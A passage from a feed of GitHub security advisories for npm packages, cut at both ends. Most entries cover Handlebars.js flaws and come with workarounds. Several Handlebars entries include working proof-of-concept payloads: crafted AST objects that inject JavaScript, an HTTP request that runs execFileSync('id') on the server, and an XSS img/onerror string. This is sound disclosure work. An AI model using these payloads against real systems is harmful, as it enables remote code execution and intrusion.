"details": "Versions of the package tough-cookie before 4.1.3 are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in `rejectPublicSuffixes=false` mode. This issue arises from the manner in which the objects are initialized.",
"id": "GHSA-72xf-g2v4-qvf3",
"modified": "2024-06-21T21:33:53Z",
"published": "2023-07-01T06:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26136"
},
{
"type": "WEB",
"url": "https://github.com/salesforce/tough-cookie/issues/282"
},
{
"type": "WEB",
"url": "https://github.com/salesforce/tough-cookie/commit/12d474791bb856004e858fdb1c47b7608d09cf6e"
},
{
"type": "PACKAGE",
"url": "https://github.com/salesforce/tough-cookie"
},
{
"type": "WEB",
"url": "https://github.com/salesforce/tough-cookie/releases/tag/v4.1.3"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/07/msg00010.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3HUE6ZR5SL73KHL7XUPAOEL6SB7HUDT2"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6PVVPNSAGSDS63HQ74PJ7MZ3MU5IYNVZ"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240621-0006"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-TOUGHCOOKIE-5672873"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "tough-cookie Prototype Pollution vulnerability"
}
GHSA-XHPV-HC6G-R9C6
Vulnerability from github – Published: 2026-03-27 18:21 – Updated: 2026-03-30 20:08Summary
A crafted object placed in the template context can bypass all conditional guards in resolvePartial() and cause invokePartial() to return undefined. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to env.compile(). Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.
Description
The vulnerable code path spans two functions in lib/handlebars/runtime.js:
resolvePartial(): A crafted object with call: true satisfies the first branch condition (partial.call) and causes an early return of the original object itself, because none of the remaining conditionals (string check, options.partials lookup, etc.) match a plain object. The function returns the crafted object as-is.
invokePartial(): When resolvePartial returns a non-function object, invokePartial produces undefined. The runtime interprets undefined as "partial not yet compiled" and calls env.compile(partial, ...) where partial is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.
Minimum prerequisites:
1. The template uses a dynamic partial lookup: {{> (lookup . "key")}} or equivalent.
2. The adversary can set the value of the looked-up context property to a crafted object.
In server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.
Proof of Concept
const Handlebars = require('handlebars');
const vulnerableTemplate = `{{> (lookup . "payload")}}`;
const maliciousContext = {
payload: {
call: true, // bypasses the primary resolvePartial branch
type: "Program",
body: [
{
type: "MustacheStatement",
depth: 0,
path: {
type: "PathExpression",
parts: ["pop"],
original: "this.pop",
// Injected code breaks out of the generated function's argument list
depth: "0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//",
},
},
],
},
};
Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: object -> dynamic partial -> RCE
Workarounds
- Use the runtime-only build (
require('handlebars/runtime')). Withoutcompile(), the fallback compilation path ininvokePartialis unreachable. - Sanitize context data before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial.
- Avoid dynamic partial lookups (
{{> (lookup ...)}}) when context data is user-controlled.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33940"
],
"database_specific": {
"cwe_ids": [
"CWE-843",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:21:44Z",
"nvd_published_at": "2026-03-27T22:16:21Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA crafted object placed in the template context can bypass all conditional guards in `resolvePartial()` and cause `invokePartial()` to return `undefined`. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to `env.compile()`. Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.\n\n## Description\n\nThe vulnerable code path spans two functions in `lib/handlebars/runtime.js`:\n\n**`resolvePartial()`:** A crafted object with `call: true` satisfies the first branch condition (`partial.call`) and causes an early return of the original object itself, because none of the remaining conditionals (string check, `options.partials` lookup, etc.) match a plain object. The function returns the crafted object as-is.\n\n**`invokePartial()`:** When `resolvePartial` returns a non-function object, `invokePartial` produces `undefined`. The runtime interprets `undefined` as \"partial not yet compiled\" and calls `env.compile(partial, ...)` where `partial` is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.\n\n**Minimum prerequisites:**\n1. The template uses a dynamic partial lookup: `{{\u003e (lookup . \"key\")}}` or equivalent.\n2. The adversary can set the value of the looked-up context property to a crafted object.\n\nIn server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027);\n\nconst vulnerableTemplate = `{{\u003e (lookup . \"payload\")}}`;\n\nconst maliciousContext = {\n payload: {\n call: true, // bypasses the primary resolvePartial branch\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Injected code breaks out of the generated function\u0027s argument list\n depth: \"0])),function () {console.error(\u0027VULNERABLE: object -\u003e dynamic partial -\u003e RCE\u0027);}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: object -\u003e dynamic partial -\u003e RCE\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require(\u0027handlebars/runtime\u0027)`). Without `compile()`, the fallback compilation path in `invokePartial` is unreachable.\n- **Sanitize context data** before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial.\n- **Avoid dynamic partial lookups** (`{{\u003e (lookup ...)}}`) when context data is user-controlled.",
"id": "GHSA-xhpv-hc6g-r9c6",
"modified": "2026-03-30T20:08:33Z",
"published": "2026-03-27T18:21:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xhpv-hc6g-r9c6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33940"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has JavaScript Injection via AST Type Confusion when passing an object as dynamic partial"
}
GHSA-3MFM-83XF-C92R
Vulnerability from github – Published: 2026-03-27 18:20 – Updated: 2026-03-27 21:52Summary
The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.
Description
Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @_parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.
When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.
The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.
Proof of Concept
Tested with Handlebars 4.7.8 and handlebars-helpers:
const Handlebars = require('handlebars');
const merge = require('handlebars-helpers').object().merge;
Handlebars.registerHelper('merge', merge);
const vulnerableTemplate = `
{{#*inline "myPartial"}}
{{>@partial-block}}
{{>@partial-block}}
{{/inline}}
{{#>myPartial}}
{{merge @_parent partial-block=1}}
{{merge @_parent partial-block=payload}}
{{/myPartial}}
`;
const maliciousContext = {
payload: {
type: "Program",
body: [
{
type: "MustacheStatement",
depth: 0,
path: {
type: "PathExpression",
parts: ["pop"],
original: "this.pop",
// Code injected via depth field — breaks out of generated function call
depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//",
},
},
],
},
};
Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: RCE via @partial-block
Workarounds
- Use the runtime-only build (
require('handlebars/runtime')). Thecompile()method is absent, eliminating the vulnerable fallback path. - Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only.
- Avoid registering helpers from third-party packages (such as
handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33938"
],
"database_specific": {
"cwe_ids": [
"CWE-843",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:20:44Z",
"nvd_published_at": "2026-03-27T21:17:27Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{\u003e @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server.\n\n## Description\n\nHandlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame\u0027s `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value.\n\nWhen `{{\u003e @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.\n\nThe `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive.\n\n## Proof of Concept\n\nTested with Handlebars 4.7.8 and `handlebars-helpers`:\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027);\nconst merge = require(\u0027handlebars-helpers\u0027).object().merge;\nHandlebars.registerHelper(\u0027merge\u0027, merge);\n\nconst vulnerableTemplate = `\n{{#*inline \"myPartial\"}}\n {{\u003e@partial-block}}\n {{\u003e@partial-block}}\n{{/inline}}\n{{#\u003emyPartial}}\n {{merge @_parent partial-block=1}}\n {{merge @_parent partial-block=payload}}\n{{/myPartial}}\n`;\n\nconst maliciousContext = {\n payload: {\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Code injected via depth field \u2014 breaks out of generated function call\n depth: \"0])),function () {console.error(\u0027VULNERABLE: RCE via @partial-block\u0027);}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: RCE via @partial-block\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require(\u0027handlebars/runtime\u0027)`). The `compile()` method is absent, eliminating the vulnerable fallback path.\n- **Audit registered helpers** for any that write arbitrary values to context objects. Helpers should treat context data as read-only.\n- **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in contexts where templates or context data can be influenced by untrusted input.",
"id": "GHSA-3mfm-83xf-c92r",
"modified": "2026-03-27T21:52:26Z",
"published": "2026-03-27T18:20:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33938"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block"
}
GHSA-RC47-6667-2J5J
Vulnerability from github – Published: 2023-01-31 06:30 – Updated: 2025-02-13 18:36http-cache semantics contains an Inefficient Regular Expression Complexity , leading to Denial of Service. This affects versions of the package http-cache-semantics before 4.1.1. The issue can be exploited via malicious request header values sent to a server, when that server reads the cache policy from the request using this library.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "http-cache-semantics"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.webjars.npm:http-cache-semantics"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-25881"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-01T23:48:07Z",
"nvd_published_at": "2023-01-31T05:15:00Z",
"severity": "HIGH"
},
"details": "http-cache semantics contains an Inefficient Regular Expression Complexity , leading to Denial of Service. This affects versions of the package http-cache-semantics before 4.1.1. The issue can be exploited via malicious request header values sent to a server, when that server reads the cache policy from the request using this library.",
"id": "GHSA-rc47-6667-2j5j",
"modified": "2025-02-13T18:36:37Z",
"published": "2023-01-31T06:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25881"
},
{
"type": "WEB",
"url": "https://github.com/kornelski/http-cache-semantics/commit/560b2d8ef452bbba20ffed69dc155d63ac757b74"
},
{
"type": "PACKAGE",
"url": "https://github.com/kornelski/http-cache-semantics"
},
{
"type": "WEB",
"url": "https://github.com/kornelski/http-cache-semantics/blob/master/index.js%23L83"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230622-0008"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-3253332"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-HTTPCACHESEMANTICS-3248783"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "http-cache-semantics vulnerable to Regular Expression Denial of Service"
}
GHSA-2QVQ-RJWJ-GVW9
Vulnerability from github – Published: 2026-03-26 22:20 – Updated: 2026-03-27 21:52Summary
resolvePartial() in the Handlebars runtime resolves partial names via a plain property lookup on options.partials without guarding against prototype-chain traversal. When Object.prototype has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered without HTML escaping, resulting in reflected or stored XSS.
Description
The root cause is in lib/handlebars/runtime.js inside resolvePartial() and invokePartial():
// Vulnerable: plain bracket access traverses Object.prototype
partial = options.partials[options.name];
hasOwnProperty is never checked, so if Object.prototype has been seeded with a key whose name matches a partial reference in the template (e.g. widget), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution.
Prerequisites for exploitation:
1. The target application must be vulnerable to prototype pollution (e.g. via qs, minimist, or
any querystring/JSON merge sink).
2. The attacker must know or guess the name of a partial reference used in a template.
Proof of Concept
const Handlebars = require('handlebars');
// Step 1: Prototype pollution (via qs, minimist, or another vector)
Object.prototype.widget = '<img src=x onerror="alert(document.domain)">';
// Step 2: Normal template that references a partial
const template = Handlebars.compile('<div>Welcome! {{> widget}}</div>');
// Step 3: Render — XSS payload injected unescaped
const output = template({});
// Output: <div>Welcome! <img src=x onerror="alert(document.domain)"></div>
The runtime prints a prototype access warning claiming "access has been denied," but the partial still resolves and returns the polluted value.
Workarounds
- Apply
Object.freeze(Object.prototype)early in application startup to prevent prototype pollution. Note: this may break other libraries. - Use the Handlebars runtime-only build (
handlebars/runtime), which does not compile templates and reduces the attack surface.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33916"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T22:20:51Z",
"nvd_published_at": "2026-03-27T21:17:27Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`resolvePartial()` in the Handlebars runtime resolves partial names via a plain property lookup on `options.partials` without guarding against prototype-chain traversal. When `Object.prototype` has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered **without HTML escaping**, resulting in reflected or stored XSS.\n\n## Description\n\nThe root cause is in `lib/handlebars/runtime.js` inside `resolvePartial()` and `invokePartial()`:\n\n```javascript\n// Vulnerable: plain bracket access traverses Object.prototype\npartial = options.partials[options.name];\n```\n\n`hasOwnProperty` is never checked, so if `Object.prototype` has been seeded with a key whose name matches a partial reference in the template (e.g. `widget`), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution.\n\n**Prerequisites for exploitation:**\n1. The target application must be vulnerable to prototype pollution (e.g. via `qs`, `minimist`, or\n any querystring/JSON merge sink).\n2. The attacker must know or guess the name of a partial reference used in a template.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027);\n\n// Step 1: Prototype pollution (via qs, minimist, or another vector)\nObject.prototype.widget = \u0027\u003cimg src=x onerror=\"alert(document.domain)\"\u003e\u0027;\n\n// Step 2: Normal template that references a partial\nconst template = Handlebars.compile(\u0027\u003cdiv\u003eWelcome! {{\u003e widget}}\u003c/div\u003e\u0027);\n\n// Step 3: Render \u2014 XSS payload injected unescaped\nconst output = template({});\n// Output: \u003cdiv\u003eWelcome! \u003cimg src=x onerror=\"alert(document.domain)\"\u003e\u003c/div\u003e\n```\n\n\u003e The runtime prints a prototype access warning claiming \"access has been denied,\" but the partial still resolves and returns the polluted value.\n\n## Workarounds\n\n- Apply `Object.freeze(Object.prototype)` early in application startup to prevent prototype pollution. Note: this may break other libraries.\n- Use the Handlebars runtime-only build (`handlebars/runtime`), which does not compile templates and reduces the attack surface.",
"id": "GHSA-2qvq-rjwj-gvw9",
"modified": "2026-03-27T21:52:02Z",
"published": "2026-03-26T22:20:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2qvq-rjwj-gvw9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23369"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23383"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33916"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has Prototype Pollution Leading to XSS through Partial Template Injection"
}
GHSA-J3Q9-MXJG-W52F
Vulnerability from github – Published: 2026-03-27 22:23 – Updated: 2026-03-27 22:23Impact
A bad regular expression is generated any time you have multiple sequential optional groups (curly brace syntax), such as {a}{b}{c}:z. The generated regex grows exponentially with the number of groups, causing denial of service.
Patches
Fixed in version 8.4.0.
Workarounds
Limit the number of sequential optional groups in route patterns. Avoid passing user-controlled input as route patterns.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "path-to-regexp"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-4926"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T22:23:27Z",
"nvd_published_at": "2026-03-26T19:17:08Z",
"severity": "HIGH"
},
"details": "### Impact\n\nA bad regular expression is generated any time you have multiple sequential optional groups (curly brace syntax), such as `{a}{b}{c}:z`. The generated regex grows exponentially with the number of groups, causing denial of service.\n\n### Patches\n\nFixed in version 8.4.0.\n\n### Workarounds\n\nLimit the number of sequential optional groups in route patterns. Avoid passing user-controlled input as route patterns.",
"id": "GHSA-j3q9-mxjg-w52f",
"modified": "2026-03-27T22:23:27Z",
"published": "2026-03-27T22:23:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-j3q9-mxjg-w52f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4926"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/pillarjs/path-to-regexp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "path-to-regexp vulnerable to Denial of Service via sequential optional groups"
}
GHSA-2W6W-674Q-4C4Q
Vulnerability from github – Published: 2026-03-27 18:19 – Updated: 2026-03-27 21:52Summary
Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:
// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;
Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.
Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.
Proof of Concept
Server-side Express application that passes req.body.text to Handlebars.compile():
import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
let text = req.body.text;
let template = Handlebars.compile(text);
let result = template();
res.send(result);
});
app.listen(2123);
POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123
{
"text": {
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
]
}
}
The response body will contain the output of the id command executed on the server.
Workarounds
- Validate input type before calling
Handlebars.compile(): ensure the argument is always astring, never a plain object or JSON-deserialized value.javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } - Use the Handlebars runtime-only build (
handlebars/runtime) on the server if templates are pre-compiled at build time;compile()will be unavailable.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33937"
],
"database_specific": {
"cwe_ids": [
"CWE-843",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:19:58Z",
"nvd_published_at": "2026-03-27T21:17:27Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule(\u0027child_process\u0027).execFileSync(\u0027id\u0027).toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) =\u003e {\n let text = req.body.text;\n let template = Handlebars.compile(text);\n let result = template();\n res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n \"text\": {\n \"type\": \"Program\",\n \"body\": [\n {\n \"type\": \"MustacheStatement\",\n \"path\": {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [\"lookup\"],\n \"original\": \"lookup\",\n \"loc\": null\n },\n \"params\": [\n {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [],\n \"original\": \"this\",\n \"loc\": null\n },\n {\n \"type\": \"NumberLiteral\",\n \"value\": \"{},{})) + process.getBuiltinModule(\u0027child_process\u0027).execFileSync(\u0027id\u0027).toString() //\",\n \"original\": 1,\n \"loc\": null\n }\n ],\n \"escaped\": true,\n \"strip\": { \"open\": false, \"close\": false },\n \"loc\": null\n }\n ]\n }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value.\n ```javascript\n if (typeof templateInput !== \u0027string\u0027) {\n throw new TypeError(\u0027Template must be a string\u0027);\n }\n ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.",
"id": "GHSA-2w6w-674q-4c4q",
"modified": "2026-03-27T21:52:17Z",
"published": "2026-03-27T18:19:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33937"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has JavaScript Injection via AST Type Confusion"
}
GHSA-C2C7-RCM5-VVQJ
Vulnerability from github – Published: 2026-03-25 21:12 – Updated: 2026-03-27 21:36Impact
picomatch is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as +() and *(), especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.
